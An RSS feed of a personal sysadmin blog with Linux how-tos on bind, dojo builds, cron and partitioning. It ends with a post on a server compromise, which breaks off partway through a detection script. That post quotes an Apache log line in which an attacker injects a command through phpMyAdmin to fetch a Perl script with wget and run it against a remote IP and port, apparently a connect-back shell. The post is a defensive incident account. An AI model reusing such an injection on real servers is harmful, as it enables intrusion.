<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Willing wheels</title>
	<atom:link href="http://www.qc4blog.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.qc4blog.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sun, 08 Aug 2010 14:44:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>cannot read watchtower on ubuntu 10.04</title>
		<link>http://www.qc4blog.com/?p=1016</link>
		<comments>http://www.qc4blog.com/?p=1016#comments</comments>
		<pubDate>Sun, 08 Aug 2010 14:44:12 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[computing]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=1016</guid>
		<description><![CDATA[Watchtower worked great on ubuntu 8.04, but after my update to 10.04, we can no longer read anything. All characters have been replaced by empty squares. The reason for this is that msttcorefonts package is no longer available. It has been replaced  by ttf-mscorefonts-installer. The solution is simply to install this package: sudo apt-get install [...]]]></description>
			<content:encoded><![CDATA[<p>Watchtower worked great on ubuntu 8.04, but after my update to 10.04, we can no longer read anything. All characters have been replaced by empty squares.</p>
<p><a href="http://www.qc4blog.com/wp-content/uploads/2010/08/watchtower-broken.png"><img class="aligncenter size-full wp-image-1017" title="watchtower-broken" src="http://www.qc4blog.com/wp-content/uploads/2010/08/watchtower-broken.png" alt="" width="764" height="500" /></a></p>
<p>The reason for this is that msttcorefonts package is no longer available. It has been replaced  by ttf-mscorefonts-installer.</p>
<p>The solution is simply to install this package: sudo apt-get install ttf-mscorefonts-installer</p>
<p>Restart watchtower, it should know be displayed properly.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=1016</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bind is not logging</title>
		<link>http://www.qc4blog.com/?p=1009</link>
		<comments>http://www.qc4blog.com/?p=1009#comments</comments>
		<pubDate>Tue, 27 Jul 2010 18:18:26 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[server management]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=1009</guid>
		<description><![CDATA[When I tried to debug bind (secondary dns no longer got updated), I noticed that my log file defined in /etc/bind/named.conf.local (within &#8216;logging&#8217; section) was not found where it was supposed to be. Basically my named.conf.local file was like this: logging{ channel simple_log { file &#8220;/var/log/bind/bind9.log&#8221; versions 3 size 5m; severity debug; print-time yes; print-severity [...]]]></description>
			<content:encoded><![CDATA[<p>When I tried to debug bind (secondary dns no longer got updated), I noticed that my log file defined in /etc/bind/named.conf.local (within &#8216;logging&#8217; section) was not found where it was supposed to be. Basically my named.conf.local file was like this:</p>
<blockquote><p>logging{<br />
channel simple_log {<br />
<strong>file &#8220;/var/log/bind/bind9.log&#8221;</strong> versions 3 size 5m;<br />
severity debug;<br />
print-time yes;<br />
print-severity yes;<br />
print-category yes;<br />
};<br />
category default{<br />
simple_log;<br />
};</p></blockquote>
<p>and no corresponding physical file was found, not even  /var/log/bind folder.</p>
<p>Looking at /var/log/syslog.conf, I found the following two lines:</p>
<blockquote><p>Jul 27 19:30:34 stock named[12988]: logging channel &#8216;simple_log&#8217; file &#8216;/var/log/bind/bind9.log&#8217;: file not found<br />
Jul 27 19:30:34 stock named[12988]: isc_log_open &#8216;/var/log/bind/bind9.log&#8217; failed: file not found</p></blockquote>
<p>Incredibly, if you do not create the log file yourself, bind does not do it on its own.</p>
<p>To have bind perform required logging, simply create the appropriate log files and grant appropriate write rights to &#8216;bind&#8217; user.<br />
In my case, I ran:</p>
<ol>
<li>mkdir /var/log/bind9.log</li>
<li>touch /var/log/bind/bind9.log</li>
<li>chown bind /var/log/bind/bind9.log</li>
<li>restart bind: /etc/init.d/bind9 restart</li>
</ol>
<h4>sources</h4>
<ul>
<li><a href="http://www.linuxquestions.org/questions/linux-server-73/bind-9-not-logging-to-custom-logs-626429/">http://www.linuxquestions.org/questions/linux-server-73/bind-9-not-logging-to-custom-logs-626429/</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=1009</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Create a custom dojo build</title>
		<link>http://www.qc4blog.com/?p=1001</link>
		<comments>http://www.qc4blog.com/?p=1001#comments</comments>
		<pubDate>Sun, 25 Jul 2010 18:34:27 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[Dojo]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=1001</guid>
		<description><![CDATA[When you develop an application with dojo, you can pretty quickly end-up with tens of http calls to load all dojo.require() files on demand. In my case, for a simple script relying on dijit.Dialog &#38; dijit.Tooltip, firebug reporting more than 25 http calls for individual files. In production, this is not optimal at all. So [...]]]></description>
			<content:encoded><![CDATA[<p>When you develop an application with dojo, you can pretty quickly end-up with tens of http calls to load all dojo.require() files on demand. In my case, for a simple script relying on dijit.Dialog &amp; dijit.Tooltip, firebug reporting more than 25 http calls for individual files. In production, this is not optimal at all.</p>
<p>So we will try to use dojo utilities to create our custom dojo file containing all (and only) the required dojo code into a single file. Problem is that there is scarce help on this matter on the Internet and official documentation is not correct!</p>
<p>Here are the steps:</p>
<ol>
<li>download a dojo- SDK (or &#8220;source-release&#8221;) (<a href="http://dojotoolkit.org">http://dojotoolkit.org</a>)  (the uncompressed code is not enough), it contains data required to create dojo builds</li>
<li> ensure java 1.4.2 or later is set up on your computer</li>
<li>unzip dojo sdk file and go to: cd &lt;dojo_folder&gt;/util/buildscripts</li>
<li>now create a new file that you will save wherever you want and call it &#8220;<strong>myapp.profile.js</strong>&#8221;<br />
In this file we will put the following content:</p>
<blockquote><p>dependencies = {<br />
layers:<br />
[<br />
//This layer is used to discard modules<br />
//from the dojo package.</p>
<p>{<br />
name: "dojo.js",<br />
customBase: true,<br />
discard: true,<br />
dependencies:<br />
[<br />
"dojo._base"<br />
]</p>
<p>},</p>
<p>//This layer is used to discard modules<br />
//from the dijit package.</p>
<p>//Custom layer mydojo.js which<br />
// includes our custom Dojo artifacts<br />
{<br />
//place the file under dojoRootDir<br />
<strong>name: &#8220;../../mydojo.js&#8221;,</strong><br />
layerDependencies:<br />
[<br />
"dojo.js",<br />
],<br />
dependencies:<br />
[<br />
//modules to be included from the<br />
//custom project. You can probably<br />
//list a single module here which in<br />
//turn declares all the required<br />
//modules as opposed to listing all the<br />
//modules individually. Please take a<br />
//look at dojoRootDir/dojo/_base.js<br />
//file for an example.<br />
//		  						"dojo._base"<br />
<strong>"dijit.Dialog",<br />
"dijit.Tooltip"</strong><br />
]<br />
}<br />
],</p>
<p>prefixes: [<br />
["dijit", "../dijit"],<br />
["dojox", "../dojox"]<br />
]</p>
<p>}</p></blockquote>
</li>
<li>customize this file as you wish, basically simply list all the module you need where I put dijit.Dialog &amp; dijit.Tooltip. Do not worry about modules required by these two modules, they will be automatically inserted by the build script!</li>
<li>now run the following command:
<pre>./build.sh profileFile=<strong>&lt;path_to_myapp.profile.js&gt;</strong> action=clean,release releaseName=<strong>cusomizedDojo</strong></pre>
</li>
<li>wait a few minutes (maybe more!)</li>
<li>when the script has finished running, go up to dojo-root folder, a new folder named &#8216;release&#8217; has been created, your dojo code is in there! The file you&#8217;re interested into is at the root of this folder and is named &#8216;mydojo.js&#8217; or whatever name you put in your profile file.</li>
<li>That&#8217;s it!</li>
</ol>
<h4>One-step further</h4>
<p>At this point, we have generated a mydojo.js file containing all shrinked code for our dojo modules. Problem is that it does not contain dojo.js itself! It tried to include &#8216;dojo._base&#8217; as a required module but it did not work. What I did was simply to <strong>open dojo.js in a word editor, copy its content and paste it at the top of mydojo.js file</strong>.</p>
<p>Now you have all your dojo-related js code in a single file! Exactly what we wanted.<br />
If we insert this file in our code, replacing regular dojo.js file, we can see in firebug that no-more http calls are made!</p>
<h4>Important notice</h4>
<p>In my case, a <strong>folder named &#8216;nls&#8217; </strong>was generated. It seems that this folder content cannot be incorporated into the single js file by build-script =&gt; I left it on its own in my /js folder and a single http call is made to retrieve the content of appropriate language file. A single extra http-call seems acceptable to me so  I left it this way.</p>
<h4>Illustration</h4>
<p>Before:</p>
<p><a href="http://www.qc4blog.com/wp-content/uploads/2010/07/dojo-multiple-calls.png"><img class="aligncenter size-full wp-image-1002" title="dojo-multiple-calls" src="http://www.qc4blog.com/wp-content/uploads/2010/07/dojo-multiple-calls.png" alt="" width="400" height="250" /></a></p>
<p>After:<a href="http://www.qc4blog.com/wp-content/uploads/2010/07/dojo-single-call.png"><img class="aligncenter size-full wp-image-1005" title="dojo-single-call" src="http://www.qc4blog.com/wp-content/uploads/2010/07/dojo-single-call.png" alt="" width="400" height="250" /></a></p>
<p>Woooow! this is far better.</p>
<h4>sources</h4>
<ul>
<li><a href="http://docs.dojocampus.org/build/index">http://docs.dojocampus.org/build/index </a></li>
<li><a href="http://www.ibm.com/developerworks/web/library/wa-aj-custom/index.html">http://www.ibm.com/developerworks/web/library/wa-aj-custom/index.html</a></li>
<li><a href="http://dojotoolkit.org/reference-guide/build/profiles.html">http://dojotoolkit.org/reference-guide/build/profiles.html</a></li>
<li><a href="http://dojotoolkit.org/reference-guide/build/buildScript.html">http://dojotoolkit.org/reference-guide/build/buildScript.html</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=1001</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>how to use zonecheck to check your DNS</title>
		<link>http://www.qc4blog.com/?p=998</link>
		<comments>http://www.qc4blog.com/?p=998#comments</comments>
		<pubDate>Wed, 14 Jul 2010 18:39:40 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[server management]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=998</guid>
		<description><![CDATA[When you handle a domain name in .fr, AFNIC first check the domain name with zonecheck and if this test fails, then dns is not updated. As such it&#8217;s better to check your target dns first with zonecheck and then ask for the transfer. Let&#8217;s say I want to redirect domain name mydomain.com to two [...]]]></description>
			<content:encoded><![CDATA[<p>When you handle a domain name in .fr, AFNIC first check the domain name with zonecheck and if this test fails, then dns is not updated. As such it&#8217;s better to check your target dns first with zonecheck and then ask for the transfer.</p>
<p>Let&#8217;s say I want to redirect domain name mydomain.com to two new dns servers: dns1.com &amp; dns2.com.</p>
<p>Here are the steps:</p>
<ol>
<li>before all, install zonecheck:
<pre>apt-get install zonecheck</pre>
</li>
<li>perform your test:
<pre>zonecheck --ns "dns1.com;dns2.com" mydomain.com</pre>
</li>
<li>if you have a success, then it&#8217;s great. Otherwise you can perform the test with additional debugging using appropriate verbose option:
<pre>zonecheck -v o --ns "dns1.com;dns2.com" mydomain.com</pre>
</li>
</ol>
<p>For more information, refer to man page of zonecheck.</p>
<p>Of importance is the fact of having to <strong>wrap the list of your dns server names into double quotes</strong>, without them the script will not run properly.</p>
<h4>sources</h4>
<ul>
<li><a href="http://www.zonecheck.fr/doc/man/zonecheck.cli.shtml">http://www.zonecheck.fr/doc/man/zonecheck.cli.shtml</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=998</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>script in /etc/cron.daily/ do not run</title>
		<link>http://www.qc4blog.com/?p=996</link>
		<comments>http://www.qc4blog.com/?p=996#comments</comments>
		<pubDate>Sun, 20 Jun 2010 09:36:56 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[server management]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=996</guid>
		<description><![CDATA[I created a shell script to be run daily, and as such I placed it into /etc/cron.daily, made it executable and even restarted cron daemon, but it was still not working. After investigating cron manual, the reason was simply because the name of the script contained a dot in it! (it ended with .sh)!!! To [...]]]></description>
			<content:encoded><![CDATA[<p>I created a shell script to be run daily, and as such I placed it into /etc/cron.daily, made it executable and even restarted cron daemon, but it was still not working. After investigating cron manual, the reason was simply because the name of the script contained a dot in it! (it ended with .sh)!!!</p>
<p>To make sure your script gets executed, do the following:</p>
<ol>
<li>move your script into /etc/cron.daily|weekly|monthly folder</li>
<li>make your script executable (chmod a+x /etc/cron.xxx/&lt;my_script_name&gt;)</li>
<li>rename your script so that its <strong>name contains only lower|upper case letters, digits, underscore and hyphens</strong> (=&gt; NO DOT =&gt; no .sh or .xxx extension)</li>
<li>ensure your script will be called by running: run-parts &#8211;test /etc/cron.xxx/<br />
(it outputs the name of all script that will be called, without actually calling them =&gt; make sure the name of your script is displayed)</li>
</ol>
<p>That&#8217;s it!<br />
If you want to immediately run your script the way cron does, run &#8220;run-parts &#8211;verbose /etc/cron.xxx&#8221;</p>
<h4>sources</h4>
<ul>
<li>man cron</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=996</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>add new partition to your server</title>
		<link>http://www.qc4blog.com/?p=992</link>
		<comments>http://www.qc4blog.com/?p=992#comments</comments>
		<pubDate>Fri, 18 Jun 2010 11:38:24 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[server management]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=992</guid>
		<description><![CDATA[Below are the steps I performed to add a new partition to my server. Initial state My initial partitioning is as follow: remy@r12925:~$ sudo fdisk -l Disk /dev/sda: 21.4 GB, 21474836480 bytes 255 heads, 63 sectors/track, 2610 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Device Boot Start End Blocks Id System [...]]]></description>
			<content:encoded><![CDATA[<p>Below are the steps I performed to add a new partition to my server.</p>
<h4>Initial state</h4>
<p>My initial partitioning is as follow:</p>
<blockquote><p>
remy@r12925:~$ sudo fdisk -l<br />
Disk /dev/sda: 21.4 GB, 21474836480 bytes<br />
255 heads, 63 sectors/track, 2610 cylinders<br />
Units = cylinders of 16065 * 512 = 8225280 bytes</p>
<p>Device Boot      Start         End      Blocks   Id  System<br />
/dev/sda1   *           1         392     3148708+  83  Linux<br />
/dev/sda2             393        1305     7333672+  83  Linux</p>
<p>remy@r12925:~$ df -h<br />
Filesystem            Size  Used Avail Use% Mounted on<br />
/dev/sda1             3.0G  1.8G  1.1G  62% /<br />
tmpfs                 228M  8.0K  228M   1% /lib/init/rw<br />
udev                   10M   32K   10M   1% /dev<br />
tmpfs                 228M     0  228M   0% /dev/shm<br />
/dev/root             4.6M  4.6M     0 100% /initrd<br />
/dev/sda2             6.9G  4.1G  2.5G  63% /home
</p></blockquote>
<p>I&#8217;ve got more or less 10Go of space split between / and /home.</p>
<p>Now I want to add an extre 10G0 of space that will be used to store logs into a separate partition (so that they will no longer fill my disk-space and prevent apache, php &amp; mysql from working properly) and to store backup files.</p>
<p><em>note: on this server, there is no swap space</em></p>
<h4>Next step: we add our new partition</h4>
<p>we will do this through the use of &#8216;fdisk&#8217; tool and use the following commands :</p>
<ul>
<li>&#8216;p&#8217; to print current partition state and check that everything is as expected</li>
<li>&#8216;n&#8217; to add a new partition</li>
<li>&#8216;q&#8217; to quit in case we did something wrong and we do not want to write changes</li>
<li>&#8216;w&#8217; to write down our changes once we are sure to get what we wanted</li>
</ul>
<p>Below is an output of all successive commands I wrote so that you can adapt it to your own case:</p>
<blockquote><p>
remy@r12925:~$ sudo fdisk /dev/sda</p>
<p>The number of cylinders for this disk is set to 2610.<br />
There is nothing wrong with that, but this is larger than 1024,<br />
and could in certain setups cause problems with:<br />
1) software that runs at boot time (e.g., old versions of LILO)<br />
2) booting and partitioning software from other OSs<br />
(e.g., DOS FDISK, OS/2 FDISK)</p>
<p>Command (m for help): p</p>
<p>Disk /dev/sda: 21.5 GB, 21474836480 bytes<br />
255 heads, 63 sectors/track, 2610 cylinders<br />
Units = cylinders of 16065 * 512 = 8225280 bytes<br />
Disk identifier: 0x000a7b5b</p>
<p>Device Boot      Start         End      Blocks   Id  System<br />
/dev/sda1   *           1         392     3148708+  83  Linux<br />
/dev/sda2             393        1305     7333672+  83  Linux</p>
<p>Command (m for help): n<br />
Command action<br />
e   extended<br />
p   primary partition (1-4)<br />
e<br />
Partition number (1-4): 3<br />
First cylinder (1306-2610, default 1306):<br />
Using default value 1306<br />
Last cylinder, +cylinders or +size{K,M,G} (1306-2610, default 2610):<br />
Using default value 2610</p>
<p>Command (m for help): p</p>
<p>Disk /dev/sda: 21.5 GB, 21474836480 bytes<br />
255 heads, 63 sectors/track, 2610 cylinders<br />
Units = cylinders of 16065 * 512 = 8225280 bytes<br />
Disk identifier: 0x000a7b5b</p>
<p>Device Boot      Start         End      Blocks   Id  System<br />
/dev/sda1   *           1         392     3148708+  83  Linux<br />
/dev/sda2             393        1305     7333672+  83  Linux<br />
/dev/sda3            1306        2610    10482412+   5  Extended</p>
<p>Command (m for help): n<br />
Command action<br />
l   logical (5 or over)<br />
p   primary partition (1-4)<br />
l<br />
First cylinder (1306-2610, default 1306):<br />
Using default value 1306<br />
Last cylinder, +cylinders or +size{K,M,G} (1306-2610, default 2610): +2G</p>
<p>Command (m for help): p</p>
<p>Disk /dev/sda: 21.5 GB, 21474836480 bytes<br />
255 heads, 63 sectors/track, 2610 cylinders<br />
Units = cylinders of 16065 * 512 = 8225280 bytes<br />
Disk identifier: 0x000a7b5b</p>
<p>Device Boot      Start         End      Blocks   Id  System<br />
/dev/sda1   *           1         392     3148708+  83  Linux<br />
/dev/sda2             393        1305     7333672+  83  Linux<br />
/dev/sda3            1306        2610    10482412+   5  Extended<br />
/dev/sda5            1306        1567     2104483+  83  Linux</p>
<p>Command (m for help): n<br />
Command action<br />
l   logical (5 or over)<br />
p   primary partition (1-4)<br />
l<br />
First cylinder (1568-2610, default 1568):<br />
Using default value 1568<br />
Last cylinder, +cylinders or +size{K,M,G} (1568-2610, default 2610):<br />
Using default value 2610</p>
<p>Command (m for help): p</p>
<p>Disk /dev/sda: 21.5 GB, 21474836480 bytes<br />
255 heads, 63 sectors/track, 2610 cylinders<br />
Units = cylinders of 16065 * 512 = 8225280 bytes<br />
Disk identifier: 0x000a7b5b</p>
<p>Device Boot      Start         End      Blocks   Id  System<br />
/dev/sda1   *           1         392     3148708+  83  Linux<br />
/dev/sda2             393        1305     7333672+  83  Linux<br />
/dev/sda3            1306        2610    10482412+   5  Extended<br />
/dev/sda5            1306        1567     2104483+  83  Linux<br />
/dev/sda6            1568        2610     8377866   83  Linux</p>
<p>Command (m for help):
</p></blockquote>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
If there are any mistakes just quit &#8220;fdisk&#8221; with a &#8220;q&#8221; and no changes will be saved. This looks right &#8211; so lets write our changes with a &#8220;w&#8221;</p>
<blockquote><p>Command (m for help): w<br />
The partition table has been altered!</p>
<p>Calling ioctl() to re-read partition table.</p>
<p>WARNING: Re-reading the partition table failed with error 16: Device or resource busy.<br />
The kernel still uses the old table. The new table will be used at<br />
the next reboot or after you run partprobe(8) or kpartx(8)<br />
Syncing disks.
</p></blockquote>
<h4>Loading new partition</h4>
<p>As we can see, a warning was issued, partprobe failed to run correctly and as such the new partition was not loaded into the server.</p>
<p>Unfortunately, even after installing &#8216;kpartx&#8217; and &#8216;parted&#8217; packages (apt-get install kpartx parted), running partprobe on my own as root failed as well.</p>
<blockquote><p>remy@r12925:~$ sudo partprobe<br />
Warning: WARNING: the kernel failed to re-read the partition table on /dev/sda (Device or resource busy).  As a result, it may not reflect all of your changes until after reboot.</p></blockquote>
<p>As a consequence, I had to reboot the server completely <img src='http://www.qc4blog.com/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> </p>
<h4>Mounting the new partitions</h4>
<p>Know we want to mount our new partitions. We will keep 3G0 for logs and 7Go for backup. We will use the following mount points: /var/log &amp; /var/backups.</p>
<p>We will perform the following steps:</p>
<ol>
<li>set ext3 as the filesystem for our partitions</li>
<li>mv current content of /var/log &amp; /var/backups into dummy folders (mounting it directly will make content of these folders &#8216;disappear&#8217;)</li>
<li>mount our partitions to /var/log &amp; /var/backups</li>
<li>mv previous content back into their original locations (ie. in the newly mounted partitions)</li>
<li>if everything works as expected, we will add our mount points to /etc/fstab so that partitions will be automatically mounted upon server reboot</li>
</ol>
<p>Below is the output of the steps I followed for my server so that you can have a look at it and customize it:</p>
<blockquote><p>remy@r12925:~$ sudo mkfs.ext3 /dev/sda5<br />
mke2fs 1.41.11 (14-Mar-2010)<br />
Filesystem label=<br />
OS type: Linux<br />
Block size=4096 (log=2)<br />
Fragment size=4096 (log=2)<br />
Stride=0 blocks, Stripe width=0 blocks<br />
131648 inodes, 526120 blocks<br />
26306 blocks (5.00%) reserved for the super user<br />
First data block=0<br />
Maximum filesystem blocks=541065216<br />
17 block groups<br />
32768 blocks per group, 32768 fragments per group<br />
7744 inodes per group<br />
Superblock backups stored on blocks:<br />
32768, 98304, 163840, 229376, 294912</p>
<p>Writing inode tables: done<br />
Creating journal (16384 blocks): done<br />
Writing superblocks and filesystem accounting information: done</p>
<p>This filesystem will be automatically checked every 37 mounts or<br />
180 days, whichever comes first.  Use tune2fs -c or -i to override.<br />
remy@r12925:~$ sudo mkfs.ext3 /dev/sda6<br />
mke2fs 1.41.11 (14-Mar-2010)<br />
Filesystem label=<br />
OS type: Linux<br />
Block size=4096 (log=2)<br />
Fragment size=4096 (log=2)<br />
Stride=0 blocks, Stripe width=0 blocks<br />
524288 inodes, 2094466 blocks<br />
104723 blocks (5.00%) reserved for the super user<br />
First data block=0<br />
Maximum filesystem blocks=2147483648<br />
64 block groups<br />
32768 blocks per group, 32768 fragments per group<br />
8192 inodes per group<br />
Superblock backups stored on blocks:<br />
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632</p>
<p>Writing inode tables: done<br />
Creating journal (32768 blocks): done<br />
Writing superblocks and filesystem accounting information: done</p>
<p>This filesystem will be automatically checked every 29 mounts or<br />
180 days, whichever comes first.  Use tune2fs -c or -i to override.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Filesystem Hierarchy Standard (FHS)<br />
remy@r12925:~$ sudo mkdir /zz_backup /zz_logs<br />
remy@r12925:~$ sudo mv /var/backups/* /zz_backups<br />
remy@r12925:~$ sudo mv /var/log/* /zz_logs</p>
<p>remy@r12925:~$ df -h<br />
Filesystem            Size  Used Avail Use% Mounted on<br />
/dev/sda1             3.0G  1.8G  1.1G  62% /<br />
tmpfs                 228M  8.0K  228M   1% /lib/init/rw<br />
udev                   10M   44K   10M   1% /dev<br />
tmpfs                 228M     0  228M   0% /dev/shm<br />
/dev/root             4.6M  4.6M     0 100% /initrd<br />
/dev/sda2             6.9G  4.1G  2.5G  63% /home<br />
/dev/sda5             2.0G   68M  1.9G   4% /var/log<br />
/dev/sda6             7.9G  147M  7.4G   2% /var/backups</p>
<p>remy@r12925:~$ sudo mv /zz_backups/* /var/backups/<br />
remy@r12925:~$ sudo mv /zz_logs/* /var/log/<br />
remy@r12925:~$ sudo rm -R /zz_backups /zz_logs</p>
<p>remy@r12925:~$ sudo vi /etc/fstab<br />
/dev/sda1       /       ext3    errors=remount-ro,noatime,nodiratime       0       1<br />
/dev/sda2       /home   ext3    defaults,noatime,nodiratime                0       2<br />
proc            /proc   proc    defaults        0       0<br />
sysfs           /sys    sysfs   defaults        0       0<br />
/dev/uba none swap sw 0 0<br />
/dev/sda5       /var/log       ext3    defaults,noatime,nodiratime       1       1<br />
/dev/sda6       /var/backups   ext3    defaults       1       1<br />
remy@r12925:~$ sudo mount -a
</p></blockquote>
<p>That&#8217;s it!</p>
<p><em>note: in case you mounted two or more partitions to the same mount point (due to a copy &amp; paste error in your /etc/fstab file), do not panic! simply update /etc/fstab, unmount the mount points the number of times necessary for it to no longer be mounted (sudo umount &lt;mount_point&gt;), run &#8220;sudo mount -a&#8221; </em></p>
<h4>sources</h4>
<ul>
<li><a href="http://linuxgazette.net/150/prestia.html">http://linuxgazette.net/150/prestia.html</a></li>
<li><a href="http://forums.fedoraforum.org/archive/index.php/t-86903.html">http://forums.fedoraforum.org/archive/index.php/t-86903.html</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.qc4blog.com/?feed=rss2&amp;p=992</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>server hacked</title>
		<link>http://www.qc4blog.com/?p=988</link>
		<comments>http://www.qc4blog.com/?p=988#comments</comments>
		<pubDate>Thu, 17 Jun 2010 20:06:37 +0000</pubDate>
		<dc:creator>remy</dc:creator>
				<category><![CDATA[server management]]></category>

		<guid isPermaLink="false">http://www.qc4blog.com/?p=988</guid>
		<description><![CDATA[Recently my server was hacked, looking at apache logs, I found weird entries close to hack date (determined through creation date of /var/www/.bash_history file which contained bash-history of nobody user with corresponding hack instructions): 194.2.70.187 &#8211; - [17/May/2010:21:26:33 +0200] &#8220;GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1&#8243; 400 511 &#8220;-&#8221; &#8220;-&#8221; 194.2.70.187 &#8211; - [17/May/2010:21:31:21 +0200] &#8220;GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1&#8243; 400 [...]]]></description>
			<content:encoded><![CDATA[<p>Recently my server was hacked, looking at apache logs, I found weird entries close to hack date (determined through creation date of /var/www/.bash_history file which contained bash-history of nobody user with corresponding hack instructions):</p>
<blockquote><p>194.2.70.187 &#8211; - [17/May/2010:21:26:33 +0200] &#8220;GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1&#8243; 400 511 &#8220;-&#8221; &#8220;-&#8221;<br />
194.2.70.187 &#8211; - [17/May/2010:21:31:21 +0200] &#8220;GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1&#8243; 400 511 &#8220;-&#8221; &#8220;-&#8221;</p></blockquote>
<p>Such entries appeared many times, with different ip-address. What&#8217;s strange it&#8217;s that it looks like hacker was looking for a flaw in phpmyadmin, with many attempts to access it:</p>
<blockquote><p>91.121.9.105 &#8211; - [17/May/2010:18:17:24 +0200] &#8220;GET /phpmyadmin/config.inc.php?w=uname HTTP/1.1&#8243; 200 182 &#8220;-&#8221; &#8220;curl/7.18.2 (i486-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18&#8243;<br />
91.121.9.105 &#8211; - [17/May/2010:18:17:24 +0200] &#8220;GET /phpmyadmin/config.inc.php?q=uname HTTP/1.1&#8243; 200 182 &#8220;-&#8221; &#8220;curl/7.18.2 (i486-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18&#8243;</p></blockquote>
<p>Attacks to phpmyadmin were attempted under multiple names: /phpmyadmin, /pma, /phpMyAdmin&#8230;</p>
<p>Worst of it, it looks like my server was hacked via phpmyadmin (I must admit it might not have been up-to-date):</p>
<blockquote><p>188.24.224.56 &#8211; - [17/May/2010:23:27:51 +0200] &#8220;GET /phpmyadmin/config/config.inc.php?d=cd%20/tmp;wget%20rehashing.ucoz.com/cb.pl;perl%20cb.pl%2085.185.70.251%2017272 HTTP/1.1&#8243; 200 419 &#8220;-&#8221; &#8220;Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3&#8243;</p></blockquote>
<p>This is with this query that hackers downloaded their script&#8230;</p>
<h4>What have we learned?</h4>
<ol>
<li>try to keep your server up-to-date as much as possible (apt-get dist-upgrade)</li>
<li>to prevent hacks, avoid default names to access popular scripts. In my case, I changed /phpmyadmin url access to a more obscure | less standard name
<ol>
<li>modify /etc/apache2/conf.d/phpmyadmin.conf and replace /phpmyadmin with a more obscure name (ex: myphpmyadmin)</li>
<li>check apache config: apache2ctl configtest</li>
<li>restart apache: /etc/init.d/apache2 restart</li>
</ol>
</li>
</ol>
<h4>How to detect attacks quickly?</h4>
<p>I&#8217;ve made a simple script that check for existence of .bash_history file for anonymous user in key locations and send an email alert to further investigate it. I&#8217;ve scheduled this script to run daily by putting it into /etc/cron.daily so that next time, I will be able to act quickly if same hack occurs. Here is the script:</p>
<blockquote>
<pre>#!/bin/sh
# this script tries to detect if server has been compromised looking for .bash_history file for user nobody
# author: Remy Damour
# date: June, 18, 2010

files="/var/www/.bash_history /tmp/.bash_history"

for i in $files
do
if [ -f $i ]; then
current_script=$(readlink -f $0)
creation_date=$(ls -l $i)
bash_content=$(cat $i)
echo "automatic check run by script " $current_script "

[possible hack]
following file was found for anonymous user: " $i"

[hack date] (= file-creation-date)
" $creation_date"

[executed commands]
" $bash_content "

[next steps]
- remove unexpected files found in /tmp (esp. perl scripts with .pl extension)
